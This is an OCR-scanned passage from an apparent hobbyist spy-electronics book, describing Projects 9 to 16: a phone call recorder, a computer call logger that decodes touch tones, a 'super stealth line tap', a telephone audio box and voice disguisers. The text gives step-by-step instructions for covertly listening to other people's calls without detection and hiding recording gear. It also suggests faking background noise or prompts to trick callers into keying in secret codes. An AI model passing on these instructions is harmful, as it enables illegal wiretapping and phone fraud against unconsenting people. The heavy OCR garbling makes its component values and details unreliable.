generated  a bit  of  heat  The  third  circuit  1 built 
ftcmi  Internet  found  plans  was  more  of  a toaster 
than  anything  else,  and  it  began  to  smoke  after  a 
minute  of  operation.  1 realized  that  the  only  safe 
way  to  tackle  this  problem  was  by  complete 
isolation  of  the  audio  device  from  the  phone  line 
using  a relay.  This  approach  also  meant  that  the 
device  could  switch  any  load  that  the  relay  could 
handle,  and  it  would  operate  in  two  modes  thanks 
to  the  double  pole  relay — phone  on  hook  detection 
and  phone  off  hook  deteedtm. 

The  schematic  for  the  automatic  coll  recorder  is 
shown  in  Figure  3-S.  and  as  you  con  see.  it  is 
extremely  simple,  using  only  four  diodes,  a resistor 
and  a relay. 

When  the  device  is  plugged  into  a phone  line,  the 
40-50-volis  presented  on  the  line  when  the  phone  is 
not  in  use  is  rectified  by  the  full  wave  rectifier  made 
fmn  the  four  diodes  and  sent  to  the  relay  through 
the  I -wan  22  kQ  current  limiting  resistor  causing  it 
to  close.  When  any  phtme  on  the  line  is  picked  up. 
the  line  voltage  drops  to  approximately  10- volts, 
and  ihLs  causes  the  relay  to  open.  Because  we  ore 


Rgure  3-5  Schenuuic  for  a simple  automatic  call  recording  device. 


Fi9ure  3-6  The  auiomaiic  call  recorder  ready  for 
action. 

using  a double  pole  relay,  you  can  detect  either  state 
of  the  phone  line  juac  by  choosing  the  normally 
open  contact  or  the  normally  closed.  The  relay  aUo 
provides  full  isolation  between  the  device  to  be 
switched  and  the  phone  line,  an  there  is  no  physical 
connection  between  the  relay's  comacu  and  its  coil. 
To  Stan  an  audio  recorder  going  when  the  phooe  is 
m use.  just  wire  a plug  from  the  device's  REM 
' remote ) jack  to  the  common  and  normal  ly  closed 
terminal  of  the  relay  so  that  the  circuit  will  close 
«ben  the  relay  is  deactivated.  To  create  a device  that 
will  let  you  know  when  the  phone  line  is  not  In  use. 
jost  wire  a battery  and  an  LED  across  the  common 
Mid  normally  open  tenninal  of  the  relay  so  the  LED 
•ill  light  while  the  relay  is  latched  from  the  50  volts 
presented  on  the  idle  phone  line.  As  you  can  see. 


there  can  be  many  uses  for  such  a device,  and  there 
will  be  little  weary  that  high  voltages  will  be  fed 
into  yom  ncm-telephony  electronics.  Because  the 
unit  is  so  simple  to  build,  it  can  be  hand  wired  on  a 
bit  of  perf.  board  to  take  up  no  more  than  a square 
inch  as  shown  in  Figure  3>6. 

You  mi^c  be  wondering  how  the  audio  the 
telephone  line  is  going  to  make  it  onto  your 
recording  device  since  this  unit  can  only  start  or 
stop  the  device.  Remember  the  telephone  audio 
interface  project  presented  at  the  beginning  of  this 
section?  Well,  once  you  build  it  you  will  have  your 
answer.  The  two  units  work  together  and  will  be 
connected  to  the  phone  line  as  if  they  were 
indepeodeot  units,  although  building  both  on  the 
same  circuit  board  would  make  the  most  sense.  If 
your  audio  recording  device  does  not  have  the 
REM  jack,  then  open  the  unit  up  and  install  your 
own  by  cutting  one  of  the  wires  that  supplies 
current  to  the  main  drive  mcAor.  and  install  a two 
conductor  plug  of  some  son.  as  this  is  essentially 
what  the  REM  jack  is.  You  could  even  run  the 
unit's  power  source  through  the  relay  rirsu  causing 
it  to  sum  and  stc^  when  the  phone  is  in  use,  but 
this  method  is  a bit  crude,  and  causes  a pop  every 
lime  ii  begins  to  record.  Of  course,  you  are  working 
with  a simple  relay  here,  so  feel  free  to  use  your 
Evil  Genius  imagination  lo  come  up  with  your  own 
uses  for  this  device. 


Project  10 — Sound  Rctivsted  Computer  Call  Logger 


Here  is  a novel  use  for  the  telephone  audio 
(oierface  described  at  the  beginning  of  this 
section.  With  sound  level  activated  recording 
software,  you  can  automatically  log  all  the  audio 
activity  on  your  phone  for  days,  weeks,  and  even 
months  for  later  playback.  The  telephone  audio 
interface  is  perfectly  suited  as  an  input  device 
connected  to  the  microphone  input  on  any  sound 


card,  and  because  of  the  low*noise  threshold  of 
the  idle  phone  line,  any  sound  recording  software  ^ 
that  can  start  and  stop  recording  in  response  lo  Q 
sound  level  can  be  used.  Since  I have  covered  the 
use  of  level  ihggered  auto  recording  in  Section  12,  tQ 
Project  75  (Scanner  to  Computer  Interface),  I 
recommend  that  you  start  there  and  then  return  ^ 
to  the  example  presented  here. 
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Project  10  — Sound  Activated  C ompu t e r Call 


Figure  3'7  AuJio  clip  of  an  incoming  call  captured  by  the  computer. 
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Figure  3-7  shows  a bit  of  (he  audio  clip  captured 
during  an  incoming  call  using  ihe  telephone  audio 
interface  connected  to  the  input  on  my  sound  card. 
Notice  the  two  uniform  blocks  of  audio  at  the 
beginning  of  the  wave  hie.  This  is  tbe  digital 
representation  of  the  phone  ringing  twice  before  it 
was  picked  up.  To  the  recording  software  or 
device,  a ring  is  just  another  chunk  of  audio,  so  it 
ends  up  recorded  along  with  the  conversations,  and 
any  touchstone  information  that  may  be  entered 
from  the  telephone  keypad.  Both  sides  of  the 
conversation  are  recorded,  and  this  data  are  shown 
in  the  rest  of  the  wave  Hie  as  random  bits  of  data 
followed  by  short  intervals  of  silence.  The  load 
spike  near  the  end  of  ihe  file  followed  by  a slight 
steady  tone  is  of  course  the  receiver  hitting  the 
cradle,  and  the  dial  tone  that  follows.  Any  captured 
key  presses  will  look  somewhat  like  dte  ring 
sequence,  just  a lot  shorter  in  duration.  Touch 
tones  can  be  also  be  decoded  back  into  their 
corresponding  numbers  and  letters  by  your 


computer,  revealing  any  secret  codes,  or 
iofonnadon  that  was  entered  by  either  party.  Refer 
to  Project  75  Scanner  to  Computer  Interface  in 
Section  12  for  meve  information. 

Your  computer  is  definitely  a better  choice  than  a 
cassette  recorder  for  long*teim  telephone  call 
logging  because  its  recording  capacity  is  only 
limited  by  the  amount  of  available  hard  disk  space 
and  the  compression  system  used.  The  downside  of 
using  a computer  is  of  course  its  size,  but  a properly 
placed  laptop  could  be  an  effeedve  alternative  to  a 
desktop  computer,  and  certainly  much  easier  to 
hide.  If  you  are  a decent  programmer,  you  may  even 
consider  coding  your  own  level  triggered  audio 
recording  program,  complete  with  rea1*time  DTMF 
decoding  and  time  logging  abilides,  and  such  a 
paxjgram  could  even  disguise  itself  on  the  PC  for 
truly  covert  operadon.  Later  in  this  section.  1 will 
present  a computer  to  telephone  interface  that  will 
let  you  eavesdrop  on  the  telephone  from  anywhere 
in  the  world  using  the  Internet, 
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Project  11 — Super  Stealth  Line  Tap 


Here  is  another  one  of  those  projects  so  single 
yet  so  effeedve,  that  you  will  wonder  how  you  ever 
got  by  without  it.  This  little  unit  lets  you  plug  into 


any  phone  line  in  a building  or  house  and  listen  in 
on  both  sides  of  the  conversation.  Wait,  can't  you 
jusi  pick  up  one  of  the  extension  phones  and  do 
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Rgure  3*8  Thf  suptr  sieaM  phone  lap  schemaric. 


ihc  same  thing?  Nope,  not  without  gelling  caught 
because  of  that  annoying  pop  that  the  phone  wouUi 
make  when  you  lift  the  handset.  Listening  in  on  an 
extension  phone  is,  not  a good  idea;  even  if  you  are 
a pro  at  lifting  the  handset  very  quietly,  you  will 
have  to  make  sure  you  ore  absolutely  quiet,  os  any 
sound  you  make  will  become  pan  of  the 
conversation.  The  super  stealth  line  tap  is  only  a 
listening  device,  so  it  will  produce  absolutely  no 
sound  into  the  phone  line,  and  when  it  is  first 
attached,  it  will  slowly  add  itself  to  the  circuit 
through  a variable  resistor  raiher  than  ^'popping" 
right  onto  the  line.  Because  of  the  completely 
silent  operation  of  the  stealth  line  tap.  you  will  not 
run  the  risk  of  giving  away  your  position  as  you 
fill  your  ears  with  whatever  audio  may  be 
presented  on  the  telephone  line.  Have  a look  oi  the 
schematic  for  the  super  stealth  phone  tap  in  Rgure 
3-8.  and  you  will  see  that  it  is  probably  the  easiest 
of  all  the  schematics  in  this  book. 

The  stereo  headphones  are  connected  to  a female 
|jack  and  set  for  mono  operation  by  joining  both 
the  right  and  left  channels  together.  The  ground 
connection  from  the  headphone  jack  is  wired 
directly  to  one  of  the  live  wires  on  the  telephone 
extension  box  used  as  a case  for  this  project.  The 
other  live  phone  wire  heads  through  a 1 
resistor  (for  current  limiting),  and  (hen  through  a 
>oriable  100  kQ  resistor  (stealth  volume  control) 
and  then  back  to  the  right  and  left  connector  on  the 
headphone  jack.  To  use  the  device,  first  turn  the 
variable  resistor  fully  counter-clockwise  to  reduce 
the  amount  of  load  the  unit  would  take  from  the 
phone  line,  then  connect  a standard  male  to  male 
telephone  jack  from  the  uni(  to  the  wall.  Because 


Figure  3*9  The  super  sieatt/i  line  lap  builf  into  a 
phone  extension  hox 


the  variable  resistor  is  set  for  very  high  resi:>tance, 
there  will  be  no  pop  or  click  as  you  "tap"  into  ihc 
phone.  Once  the  device  ha.s  been  implanted  on  the 
line,  you  cun  slowly  crank  up  the  variable  resistor 
until  the  conversations  are  coming  through  loud 
and  clear  on  your  headphones.  As  long  n*  you  turn 
up  the  level  nice  and  slow,  there  will  be  no  him 
that  you  are  coming  on  the  line.  Test  the  unit  first 
by  listening  on  a real  phone  as  you  turn  the 
potentiometer  back  and  forth  to  make  sure  it  is  not 
dirty,  as  this  may  cause  crackling  and  static  on  the 
line.  When  everything  seems  to  be  in  working 
order,  the  potentiometer  is  stuffed  into  a hardware 
store  phone  extension  box  as  shown  in  Figure  3-9 
to  make  a nice  clean  unit. 

Wlien  working  with  telephone  wiring,  remember 
that  only  the  red  and  green  wires  are  live,  not  the 
black  and  yellow  pair.  Also,  there  are  50- volts  on 
the  line  when  the  phone  is  not  in  use.  and  this 
could  be  as  high  as  1 00- volts  when  there  is  on 
incoming  call,  so  it*s  best  to  not  work  on  the  unit 
while  it  is  plugged  into  the  line.  Also,  when  you 
are  finished  listening  in  on  the  phone,  reverse  the 
connecting  operation  by  slowly  lowering  the 
potenriomeier  all  the  way  counterclockwise  before 
you  ''untap"  friim  the  line,  as  this  will  ensure  that 
there  wiU  not  be  any  pop  or  click  when  you  unplug 
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from  ihe  wsdl.  You  will  also  notice  that  plugging 
the  unit  into  the  line  when  the  phones  are  not  in 
use  will  only  produce  a dial  lone  when  the 
poiemiometer  reaches  the  upper  limits  of 
clockwise  rotation.  This  happeas  became  It  takes  a 
certain  resistance  on  the  li&e  to  cause  the  '‘oft 
hook”  condition,  and  this  occurs  when  the 
poleniiometei  reaches  (he  end  of  its  travel. 


effectively  leaving  only  the  headphone  and 
1 resistors  in  the  circuit.  If  you  leave  the 
unit  turned  and  plugged  into  your  phone 
line,  you  will  not  be  able  to  receive  incoming  calls, 
as  the  unit  will  act  as  if  it  were  a phone  in  use  on 
the  line.  As  a stealthy  listening  device,  this  little 
unit  is  a star  performer,  and  a must  for  any  Evil 
Genius  toolkit. 


Project  12 — Telephone  Input/Output  Box 


This  devious  hack  is  a cross  between  a radio 
broadcasting  station  and  a telephone  because  it  lets 
you  input  just  about  any  audio  source  into  the 
phone  line,  but  retains  its  usability  as  a fully 
functioning  telephone.  With  this  device  you  can 
port  your  voice  through  a voice  changer  such  os  a 
computer  program  or  musical  effects  boit.  create  a 
music  on  hold  system,  build  your  own  speaker 
phone,  record  telephone  calls,  or  just  about  any 
other  devious  experiment  involving  any  audio 
source  that  you  may  want  to  input  or  output  from 
(he  telephone  line.  What  makes  this  device  so 
versuiile  for  interfacing  audio  to  the  phone  line  is 
that  it  makes  use  of  the  circuitry  already  built  into 
an  existing  telephone.  There  is  i lot  that  must  go 
on  inside  a telephone  in  order  to  allow  full  duplex 
audio  transmission,  tone  and  pulse  dialing,  and  all 
the  other  features  that  allow  a telephone  to  do  its 
job;  so  rather  than  reinvent  the  wheel,  we  are  going 
to  simply  "hack”  the  wheel  for  our  own  evil  agenda. 

For  this  project,  you  are  goin^  to  need  a phone 
willing  to  give  its  life  for  your  cause.  Any 
inexpensive  phone  with  push  buttons  will  do  (he 
job.  as  long  as  it  contains  a circuit  board  inside  and 
still  functions  as  a telephone.  The  plan  is  to  remove 
the  handset  from  the  telephone  and  install  an  input 
and  output  jack  so  you  can  feed  your  audio  sources 
into  the  phone  and  use  a pair  of  headphones  or  a 
recording  device  to  monitor  the  duplex  audio. 


Becau^  the  tele^^nc's  circuitry  already  contains 
audio  preamplifiers  and  sound  conditioning 
circuitry,  you  will  essentially  only  need  to  add  the 
input/outpul  jacks  in  place  of  the  handset  and  a 
switch  10  replace  the  actual  receiver  hook.  Check 
your  phone  to  ensure  that  it  actually  functions,  then 
pry  open  (he  telephone  case  and  the  handset  shell  to 
expose  (he  wiring  and  circuit  board  a.s  shown  in 
Figure  3*  10,  Your  goal  will  be  to  trace  the  four 
wires  from  the  handset  to  their  locations  on  the 
main  circuit  board  in  the  base  of  the  telephone. 


Fluure  3*10  Troruij  the  handset  h w back  to  the 
re/epAone  's  base. 
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Figure  3'll  The  modified  phone  base  showing  hook, 
input,  and  output  cubtes. 


There  will  be  iwo  pairs  of  wires,  one  piiir  for  the 
earr>iece  and  one  set  for  the  mouthpiece,  so  before 
you  cut  anything  trace  them  to  iheir  origin  on  the 
circuit  board.  If  for  some  reason  the  color*coding 
is  not  obvious,  just  check  the  ends  of  each  wire 
using  your  ohmmeter  to  deiennine  their  location. 
When  you  have  the  wires  traced  from  the  handset 
to  I he  base,  make  note,  or  mark  the  base  with  the 
four  points— earpiece  A and  B (the  earrnece  is 
usually  non^poiarized),  and  mouthpiece  positive 
and  negative  (usually  due  to  an  electret 
microphone).  When  you  are  sure  that  you  have 
traced  each  wire  correctly,  you  can  cut  the  wiring 
from  the  base  circuit  board  and  add  the  handset  to 
your  scrap  bin  for  some  later  evil  experiment.  Your 
goal  will  now  be  to  odd  a female  connector  to  both 
the  earpiece  (output)  and  to  the  mouthpiece  (input) 
connections  of  the  telephone's  main  circuit  board. 
You  can  use  whatever  type  of  connector  you  wish, 
but  typically  a ^ stereo  jack  wired  for  mono 
operation  will  be  best  suited  for  a wide  range  of 
audio  devices  such  as  radios,  computer  sound 


cards,  tape  recorders  and  effect  boxes.  Whichever 
connecTor  you  do  choose,  make  sure  that  it  is 
wired  fCH'  mono  operation  or  your  loput/ou^ut 
device  will  only  record  or  playback  a single 
channel.  The  wiring  used  for  the  inpui/omput  lines 
should  be  a shielded  conductor  type  such  as  a bit 
of  miCTOpheme  tx  headphone  coax,  and  it  will  be 
wired  to  the  main  circuit  board  so  that  the  positive 
connection  is  always  the  center  shielded  wire,  and 
the  grounded  coonection  is  the  shield.  This  polarity 
may  not  be  applicable  on  the  eaipiece  though, 
since  it  is  usually  just  a simple  non-polarized 
speaker  of  some  sort.  You  way  also  wont  to  add  n 
toggle  switch  (o  replace  the  hand.set  hook  switch, 
as  it  will  not  be  needed  in  the  final  design,  and 
there  will  be  no  way  to  hold  the  phone  on  the  hook 
when  you  are  not  using  the  device.  Sure,  you  could 
just  throw  the  unused  handset  bock  in  the  cradle  to 
shut  off  the  unit,  but  that  is  a pretty  ugly  hack, 
don't  you  think?  You  have  the  unit  tom  apart,  so 
just  remove  the  hook  switch  and  instail  a .simple 
toggle  switch  like  I did.  Figure  3-1 1 shows  the 
three  additional  cables  connected  to  the  main 
board — the  hook  toggle  switch,  and  the  input  and 
output  signal  cables. 

Once  the  cables  are  soldered  in  place,  drill  the 
appropriate  sized  holes  somewhere  in  the  ca.sing 
for  the  input,  output  and  hook  switch.  It  is  usually 
most  convenient  to  place  the  hook  switch  on  the 
lop  of  the  telephone  for  etsy  access  and  install 
the  input/output  jacks  at  the  rear  so  the  cabling 
will  be  neater  on  your  desk  at  spy  central.  Close 
up  the  newly  improved  telephone,  jack  into  the  ^ 
output  with  a pair  of  headphones,  plug  a 
microphone  into  the  input,  and  see  if  everything 
wDrk&.  With  a typical  microphone  and  a set  of 
headphones,  you  will  have  a very  high  quality 
telephone  that  sounds  many  times  better  than  it 
did  with  the  original  headset  in  place,  especially 
since  now  the  audio  is  presented  at  both  your  ears 
through  the  high  fidelity  headphones.  When  you 
toggle  the  hook  switch,  the  phone  should  go  on 
and  off  the  air  just  like  it  did  when  you  placed 
the  handset  in  the  cradle,  the  di^erence  now  is 
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inpMt/output  box  ready  to  play  havoc  mto  the 
twisted  pair. 

You  can  now  instaU  any  device  between  the 
microphone  and  input  you  like,  including  voice 
changers,  disK^on  units,  echo  boxes,  or  even  voice 
synd)e&izers  (more  on  this  later  in  this  seed  on).  This 
unit  is  the  perfect  host  device  for  the  next  few 
projects  OB  voice  disguising,  and  since  it  takes  care 
of  all  the  audio  interfacing  for  you.  it  is  the  perfect 
way  to  test  new  audio  ejects.  You  can  also  port  the 
output  into  a reccing  device,  or  mixer,  to  make 
logs  of  all  your  telephone  exploits,  since  the  output 
will  be  approximately  at  the  correct  level  for  most 
audio  input  connectOTS.  There  are  too  many  uses  for 
this  device  to  even  list,  so  I will  let  you  cook  up 
your  own  ways  lo  mess  with  the  unsuspecting  party 
on  the  other  end  of  your  telephone  input/oueput  box. 
You  should  definitely  check  out  the  rest  of  the 
projects  in  this  section  though,  since  they  will  moke 
great  use  of  this  device. 


Fl9ure  3>I2  The  completed  telephone  input/output 
hox-^  beautiful  hack  indeed. 


(hat  the  party  at  the  other  end  of  the  conversation 
wiil  nm  hear  that  all  too  common  clunk  when 
you  disconnect.  Once  your  modified  telephone  is 
completed  and  assembled,  the  real  fun  can  begin. 
Figure  3-12  shows  my  completed  leiephone 


Project  13 — Using  Computer  Effects  to 
Disguise  Your  Voice 


played  into  the  phone.  You  will  also  need  to  install 
the  microphone  into  the  sound  card’s  microphone 
input  in  order  to  transmit  your  voice  through  the 
computer  back  to  the  phone.  When  the  microphone 
and  patch  cable  are  installed  properly,  you  should 
be  able  to  use  the  10  phone  just  as  if  the 
microphone  were  connected  directly  to  its  input, 
and  the  audio  signal  should  be  crisp  and  frce  of 
distortion.  Some  aggravation  playing  may  be 
necessary  in  order  to  set  your  computer's  mixer  to 
the  proper  levels  in  rader  to  avoid  overloading  the 
input  in  (he  10  phone,  but  I assure  you  that  it  can 
be  ckme.  Start  with  the  line  output  (volume)  set  as 
low  as  possible  while  the  microphone  recording 
input  is  at  the  highest  level,  so  when  you  speak. 


So.  you  built  the  telephone  input/output  box.  and 
you  have  worn  out  the  novelty  of  that  guitar  echo 
box  effect  you  were  using  on  your  friends?  Not  to 
worry,  if  you  own  a computer,  you  can  also  own 
just  about  every  audio  effect  ever  made,  and  it  will 
be  very  cosy  to  interface  the  sound  card  on  your 
computer  to  the  telephone  input/output  box.  You 
will  need  to  ftnd  or  make  a patch  cable  that  will 
connect  between  the  line  output  of  your 
computer's  sound  cord  (usually  a jsiereo  jack)  (o 
(he  input  jack  on  the  telef^one  10  box.  Remember 
to  wire  the  cable  for  mono  operation  by  tying  (be 
right  and  left  signal  wires  logeiber,  or  you  will  be 
wasting  one  of  the  channels  on  your  computer’s 
audio  output,  which  may  affect  the  sound  quality 


the  meter  on  your  recording  software  or  mixer 
reaches  into  the  upper  limits  without  clipping.  If 
you  hear  nothing  at  all  as  you  slowly  bring  up  ibe 
output  volume,  dig  around  in  (be  mixer  settings  for 
the  “output  monitor,''  or  “mute"  check  box  oo  the 
microphone,  as  the  sound  may  not  be  passing 
through  the  sound  card's  input  and  output.  You  nill 
also  notice  that  any  sound  your  computer  makes  is 
echoed  directly  into  the  phone  as  well  (this  should 
rum  on  a few  evil  light  bulbs  in  your  bead).  When 
you  finally  make  peace  with  your  sound  card’s 
mixer  levels,  you  can  begin  to  play  with  real* time 
effects. 

Because  today's  personal  computers  have  an 
abundance  of  power,  it  is  no  real  challenge  Co  nin 
software  that  can  manipulate  and  transfonn  an 
audio  signal  in  real  time.  Some  of  these  effects 
include  echo,  flange,  chorus,  distortion,  pitch 
change,  and  even  formant  shifting  {gender 
changing)  of  real-time  audio.  Formant  ^fting  is  a 
truly  impressive  effect  as  it  models  the  vocal  traci 
allowing  you  to  switch  between  male  and  female 
sounding  voices  with  impressive  realism.  'These 
filters  and  effects  are  commonly  used  to  conect  the 
pitch  of  vocals  in  digital  recording  studios  and  odd 
harmonizing  voices  from  a single  layer  of  audio. 
You  have  probably  also  heard  them  in  use  in 
cartoons  and  “infonnant'*  shows  where  they  mask 
both  the  face  and  the  voice  to  protect  the  whistle 
blower's  identity.  If  you  did  not  know  the  origintd 
voice  of  the  speaker,  then  most  likely  you  would 
not  even  know  a formant  shifter  was  being  used, 

IV  they  do  sound  very  natural  os  long  as  you  don't 
go  overboard  on  the  pitch  change.  Voice  changers 
i)8t  only  have  a pitch  adjustment  will  not  sound 
*ealistic  at  all.  and  unless  you  plan  on  doing  a 
.:heesy  imitation  of  a chipmunk  or  the  devil,  then 
j>oid  u.sing  them  for  serious  voice  masking  Jobs. 

^ decent  vocal  changer  will  have  at  least  rwo 
. ~TitTols-^itch  and  formant.  Changing  the 
t.vmant  control  will  allow  you  to  make  your 
KMce  sound  more  feminine  or  masculine  without 
iffecdng  the  pitch  and  without  adding  any 
';srtoon-like“  sounding  effects  to  your  voice. 


Figuru  3-13  Real-timt  voice  changer  sofiwtire  for  the 
computer. 


The  pitch  control  is  only  needed  to  tweak  your 
voice  a little  io  remove  any  lost  hints  of  your 
original  identity  and  depending  on  the  pitch  of 
your  original  voice,  you  may  be  increasing  or 
lowering  this  setting.  Before  you  purchase  a full 
working  real-time  audio  processing  software  you 
might  wont  to  try  some  of  the  free  utilities  of 
demos  available  on  the  Internet  to  get  u feel  for 
what  they  can  do.  Figure  3-13  shows  software 
called  ves  ^ice  Changer,  and  it  was  available  as 
a trial  version  in  the  Imemeu 

Like  all  products,  there  are  good  voice  changers 
and  there  are  bad  ones  that  will  make  you  sound 
like  foolish  cartoon  characters  or  scary  movie 
denums.  This  may  or  may  not  be  a bad  thing, 
depending  on  your  use.  A good  voice  changer 
should  alter  your  voice  In  such  a way  that  you  are 
not  recognizable  even  to  those  that  know  the  sound 
of  your  original  voice,  yet  not  screw  up  your  voice 
so  much  (hat  you  oo  ionger  sound  human.  Of 
course,  voice  formant  changers  are  not  the  only 
effects  you  can  use.  os  you  can  inject  any  sound 
that  your  computer  is  capable  of  making  directly 
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into  the  phone  line,  and  even  cnix  other  sounds 
with  your  voice  to  create  false  aonospheres  to 
convince  others  you  are  at  a different  iocadon.  Add 
some  car  noises  and  an  equalized  set  with  the  mid 
frequencies  cranked,  and  you  will  sound  as  (bough 
you  are  calling  from  a cell  phone.  How  about  the 
sounds  from  a busy  office  to  give  the  impression 
(bat  your  one 'person  opemrion  is  a huge  coqwraie 


conglomerate?  Sorry  “crackle,  crackle”  the  line 
“crackle"  is  so  bad  I can't  understand  “crackle" 
you.  How  about  music  on  bold,  or  some  fake 
prompts  to  get  the  other  parry  to  key  in  .some 
secret  code?  The  possibilities  are  really  only 
limited  to  the  amount  of  evil  your  genius  mind  can 
coDiain.  Read  on  for  some  more  interesting  ways 
to  cloak  your  identity  on  the  telephone. 


Project  m — Simple  Digital  Voice  Disguiser  Circuit 


You  may  have  heard  the  weird  and  wacky  voices 
(hat  some  kids’  toys  make,  and  (bought  to  yourself 
(hat  lhase  toys  would  make  a great  voice  disguiser 
for  the  telephone.  You  are  correct f The  robot, 
vibrato,  or  pUch-shifted  voice  may  not  make  you 
sound  like  another  person  on  the  phone,  but  (bey 
will  certainly  disguise  your  voice  by  warping  so 
far  out  of  whack  that  nobody  will  recognize  you  as 
(he  speaker.  There  ore  numerous  single  solution 
ICs  popping  up  on  (he  market  that  can  perform  a 
multitude  of  strange  voice-changing  effects,  and 
1 will  present  a project  that  uses  one  of  them,  the 


Holiek  HT8950  Vbice  Modulator.  The  S950 IC  has 
three  different  effects:  a robot  voice,  a vibrator 
effect,  and  seven  step  pitch  shifting.  Tlie  robot 
voice  will  make  you  sound  like  a 1980  computer 
speech  synthesizer,  the  vibraio  mode  will  warble 
your  voice  by  adjusting  (he  pitch  up  and  down 
consiamly.  and  the  pitch  shift  function  will  let  you 
raise  the  pitch  of  your  voice  ri^t  up  into  the 
“chipmunk"  zone,  or  way  down  into  the  “demon" 
zone.  A slight  pilch  adjustment  however,  can 
actually  make  your  voice  sound  like  a real  person 
while  still  masking  your  ohginal  voice  quite  well. 


Figurp 
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Vbice  changer  using  the  Hdlek  HTS950  Ihice  Modulator  /C. 


Figure  3*15  The  voice  changer  is  bails  into  a s/nall 
box  for  hand  held  operation. 


The  other  e0ects  are  ju.st  plain  wacky,  a took 
at  the  schematic  shown  in  Figure  3-14,  and  you  will 
see  that  this  little  1C  only  needs  a microphone,  and 
a few  resistors  and  capacitors  in  order  to  do  its  job. 

The  circuitry  invoived  in  making  a digital  voice 
changer  like  this  would  fill  this  entire  book,  so 
using  a ready-made  single  IC  solution  U definiiely 
the  way  to  go.  If  you  want  to  undenund  more  on 
how  this  IC  operates,  then  do  an  Imemei  search  for 
HT8950  dutusheet."  and  you  will  ftnd  the 
pinH>uts,  electrical  characteristics  and  a few  more 
eiiamples  directly  from  the  Holiek  website. 
Originally,  the  1C  is  intended  to  drive  an 


LM3S6  I -wan  amplifier  1C,  but  bec^se  we  will  be 
conoecdog  it  to  the  phone  line  using  the  telephone 
10  box  presented  in  Project  12,  we  do  not  need  the 
amplifier.  If  you  do  want  to  create  a stand-alone 
voice  changer  capable  of  driving  a speaker  directly, 
then  have  a look  at  the  circuit  diagram  on  the 
HT8950  daiasbeet,  I built  my  voice  changer  into  a 
small  plastk  box  lo  contain  the  hand  wired  circuit 
board,  batteries,  switches  and  an  inexpensive 
multimedia  eleccrci  microphone  that  was  stuck  to 
the  top  of  the  box.  lb  <^>erate  the  unit,  I hold  it  in 
my  hand  like  a radio  handset  and  speak  through 
the  microf^ooe  while  listening  to  the  output  on  the 
headphones,  whkh  are  plugged  into  the  telephone 
10  box.  Figure  3- IS  shows  the  completed  unit  with 
microi^ne  mounted  to  the  case.  The  control 
switches  are  on  the  other  side  of  the  box  for 
CMivenience  in  hand  operation. 

The  HTb950  U only  one  of  the  many  ICs  on  the 
maricet  designed  to  alter  an  audio  signal  in  some 
way,  but  it  is  one  of  the  simpler  ones  to  work  with 
due  to  the  minimum  pan  count.  There  are  also 
many  ICs  designed  for  echo  and  reverb, 
equalization,  and  many  other  vocal  effects  that 
may  be  useful  in  the  design  of  a voice  changer. 

Dig  around  some  of  the  DIY  audio  forums  on  the 
Internet  for  a few  more  ideas  and  examples. 


Project  15 — Ultimate  Telephone  Voice  Changer 


This  project  will  produce  a system  capable  of 
changing  the  gender  and  pitch  of  your  voice  in 
such  a realistic  way  that  it  will  creep  you  right  out 
the  first  time  you  hear  it.  The  heart  of  this  project 
is  the  Boss  VT- 1 Voice  Transformer  effect  box,  and 
believe  me  when  I tell  you.  there  is  nothing  more 
suited  to  alter  a person's  voice  than  this  little  beast! 
The  small  metal  case  only  has  a few  sliders  and 
burtons,  but  do  not  be  fooled;  inside  ihi^  magic 
machine  is  a complex  digital  signal  processor 
<DSP)  that  can  rival  the  best  computer  effects 


designed  to  do  the  same  job.  You  have  probably 
heard  this  device  used  many  times,  but  you  would 
never  know  it  because  of  the  believable  voices  that 
come  from  it.  although  it  is  also  capable  of 
creating  surreal  changes  in  your  voice  if  you  crank 
the  sliders  to  their  maximum  positions.  In  the  non- 
spy  world,  the  VT-1  would  be  used  to  coireci  vocal 
tracks  in  music,  add  harmony  to  voices,  and  even 
add  voices  to  different  cartoon  characters  using  the 
same  input  voice.  With  only  a slight  adjustment, 
your  normal  voice  can  sound  like  an  old  lady,  a 
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lo  the  lelei^ne  10  box,  re«Jy  lo  change  my  voice 
into  a very  believable  yet  unrecognizable  character. 

TTie  four  pushbunons  along  the  lop  of  the  VT*1 
allow  you  lo  select  frwn  four  pre-prograiruncd  voice 
presets,  and  four  of  yo\a  own  custom  created 
voices.  It's  best  lo  experiment  with  the  four  sliders 
before  you  commit  anything  to  memory,  as  this  will 
let  you  llnd  some  parameters  that  work  best  for  your 
voice  style.  In  my  VT-I  I have  prograimned  four 
yokes — a young  woman,  old  woman,  young  boy, 
and  evil  sounding  man.  and  I can  shift  seamlessly 
between  them  when  using  the  unit  on  the  phone.  It*s 
a lot  of  fim  being  able  to  act  out  four  independent 
characters  at  the  same  time  during  conversations, 
especially  with  the  high  level  of  realism  this  device 
delivers.  You  should  be  able  to  purchase  this  device 
neu*  for  around  $250.  or  used  from  anywhere 
between  S50  and  $100  depending  on  condition. 

I have  aiso  seen  this  unit  advertised  on  so*calIed 
shops'*  for  well  over  a thousand  dollars,  so 
beware.  They  paint  over  the  name  and  claim  it  is  a 
custom  designed  spy  voice  changer  of  their  own 
making.  For  serious  voice  masking,  I would  highly 
recommend  (bis  unit,  as  it  ha.s  been  by  far  the  best 
performer  of  any  device  I have  tried,  including  any 
computer  Hher  or  real*dme  voice  changing 
soAware.  Now.  if  you  are  just  loo  plain  lazy  to  move 
your  mouth,  or  you  really  want  to  mess  with  (he 
person  on  the  ocher  end  of  your  phone,  try  the  next 
project,  as  it  will  let  your  computer  talk  for  you. 


Figure  3-16  The  Boss  VT-f  Voice  Tron^nrmer 
connecied  to  the  telephone  10  box. 


young  woman,  a boy.  a man.  a giant,  or  the  devil 
himself,  and  if  that's  not  enough,  you  even  have  a 
robot  and  echo  option  that  adds  on  amazingly 
convincing  "large  stadium"  echo  to  your  voice. 

The  VT*  I is  ready  to  accept  a standard 
microphone  u.«ing  a i -inch  mono  plug  (guitar 
style),  and  using  the  same  type  of  plug  for  its 
output.  To  interface  the  unit  into  the  phone  line, 
you  will  need  to  create  a patch  cabk  to  connect  the 
microphone  output  on  the  VT-1  into  the  input  on 
(he  telephone  10  box.  The  input  level  on  the  back 
of  the  VT-I  may  need  to  be  adjusted  to  avoid 
overloading  the  telephone's  input  preacnplirier,  but 
this  really  depends  on  the  quality  and  style  of 
microphone  you  feed  into  (be  VT-I.  Figure  3-16 
shows  the  Boss  VT- 1 Mjice  Transformer  connecied 


Project  16 — Let  Your  Computer  Do  the  Talking 


Many  of  us  have  been  called  by  some  type  of 
automated  message  system  that  spewed  out 
